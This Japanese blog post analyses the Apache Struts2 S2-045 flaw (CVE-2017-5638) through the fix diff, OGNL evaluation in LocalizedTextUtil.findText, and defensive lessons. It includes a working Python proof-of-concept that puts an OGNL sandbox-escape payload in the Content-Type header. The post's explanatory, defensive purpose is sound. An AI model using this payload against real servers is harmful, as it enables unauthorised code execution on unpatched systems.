Struts 2の脆弱性でHTTPのContent-Typeヘッダーからリモートコード実行ができる理由

(Last Updated On: 2018年8月8日)

Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045)

  • HTTPプロトコルのContent-Typeヘッダーでリモートからコード実行ができる

という問題です。どうして「Content-Typeヘッダー」でコード実行ができたのか?気になったので調べたメモです。

コード実行ができた理由は「国際化(翻訳)用のメッセージ処理メソッドが、プログラミング言語のようにパースして実行する仕様」であったことでした。気にしていないとこのパターンでリモートコード実行ができてしまうコードも在ると思います。

 

Struts2修正版(2.5.10.1)で変更された箇所

バージョン番号やテストプログラム除く変更箇所は以下の部分です。

--- a/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java
+++ b/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java
@@ -26,7 +26,6 @@ import com.opensymphony.xwork2.inject.Container;
 import com.opensymphony.xwork2.inject.Inject;
 import com.opensymphony.xwork2.interceptor.AbstractInterceptor;
 import com.opensymphony.xwork2.interceptor.ValidationAware;
-import com.opensymphony.xwork2.util.LocalizedTextUtil;
 import com.opensymphony.xwork2.util.TextParseUtil;
 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
@@ -38,7 +37,6 @@ import org.apache.struts2.dispatcher.multipart.UploadedFile;
 import org.apache.struts2.util.ContentTypeMatcher;
 
 import javax.servlet.http.HttpServletRequest;
-import java.io.File;
 import java.text.NumberFormat;
 import java.util.*;
 
@@ -258,11 +256,16 @@ public class FileUploadInterceptor extends AbstractInterceptor {
 
         MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
 
-        if (multiWrapper.hasErrors()) {
+        if (multiWrapper.hasErrors() && validation != null) {
+            TextProvider textProvider = getTextProvider(action);
             for (LocalizedMessage error : multiWrapper.getErrors()) {
-                if (validation != null) {
-                    validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
+                String errorMessage;
+                if (textProvider.hasKey(error.getTextKey())) {
+                    errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
+                } else {
+                    errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
                 }
+                validation.addActionError(errorMessage);
             }
         }
 

この差分から

-                    validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));

ここが脆弱性問題が発生した部分だと解ります。差分が小さいと確かめるのが簡単で助かります。

 

LocalizedTextUtil.findTextとは何か?

基本的には「ローカライズされたメッセージを見つける」為のメソッドです。マニュアルページに詳しく記載されています。

https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html#findText(java.lang.Class, java.lang.String, java.util.Locale)

マニュアルの中で重要なのは以下の部分です。

If not found, look for message in child property. This is determined by evaluating the message key as an OGNL expression. For example, if the key is user.address.state, then it will attempt to see if “user” can be resolved into an object. If so, repeat the entire process fromthe beginning with the object’s class as aClass and “address.state” as the message key.

メッセージが見つからない場合に「メッセージキーをOGNL表現として評価することによって決定する」と記載されています。

「OGNL表現として評価すること」と記載されていますが、どのようなAPI、外部システムにデータを渡さないAPIでも「何らかの表現を評価するAPI」には注意が必要です。例)正規表現、プログラムを評価するeval関数、XML処理(XXE、XSLインジェクション)、ファイルパス、URIなど

 

OGNL表現とは何か?

OGNLについては

https://commons.apache.org/proper/commons-ognl/language-guide.html

で解説されています。このページを見ると、単純な演算などではなく、プログラミング言語のように色々できることが解ります。

 

脆弱性のPoC

import requests
import sys

def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

OGNL表現がpyloadとして使われていることが判ります。多少見やすいように適当に改行を入れてpyloadだけ抜き出したものが以下になります。

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.
xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.
opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().
clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(#ros.println(102*102*102*99)).(#ros.flush())}

OGNL表現が記述されていることが分かります。

 

まとめ

なぜContent-Typeヘッダーで任意のリモートコード実行ができるのだろう?と思いましたが、少し調べてみると納得でした。

LocalizedTextUtil.findTextはexec()システムコールやeval()と同じくらい危険です。ユーザー入力を含むパラメーターを渡す場合、細心の注意が必要です。

今回の教訓

  • 文字列の中(この場合、LocalizedTextUtil.findTextの引数)に一文字でも特別な意味を持つ文字がある場合はインジェクション脆弱性のリスクを考慮する

参考:

注意するよりもユーザー入力を含むモノには使わない方が良いでしょう。OGNL表現は一文字でも意味を持つどころか、プログラミング言語と言える仕様で文字列を処理します。対策なしでは何でも出来る状態でした。上の教訓より

  • 外部のシステムに出力しない場合でも、使用するAPIが文字列を変換/加工を行う場合にはインジェクションリスクを考慮する

の方が適切でしょう。

これに似た脆弱性として「Perl互換正規表現で任意コード実行が可能となる」があります。古いPHPのPerl互換性表現には”正規表現にPHPコードを埋め込む”仕様があり、これを知らなかったユーザーが、エスケープなしにユーザー入力を正規表現関数に渡してしまい攻撃される、といった事例がありました。

参考:

 

対策に対するコメント

テキストインターフェース処理の基本の「別の意味に変えさせない」で渡した文字列が不正な意味で処理されることを防がなければならない、と書いています。しかし、この場合は”そもそもContent-Typeがコードとして評価される”ことが想定外だったので、OGNL表現を使わない

+                if (textProvider.hasKey(error.getTextKey())) {
+                    errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
+                } else {
+                    errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
                 }
+                validation.addActionError(errorMessage);

に変更されています。

これでも構わないのですが、Content-TypeはRFCで形式が決められているので

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.
xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.
opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().
clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(#ros.println(102*102*102*99)).(#ros.flush())}

このように不正な入力に対しては問答無用にできる限り早く処理を中止し、500番台のHTTPステータスを返す方がより安全です。

参考:

 

投稿者: yohgaki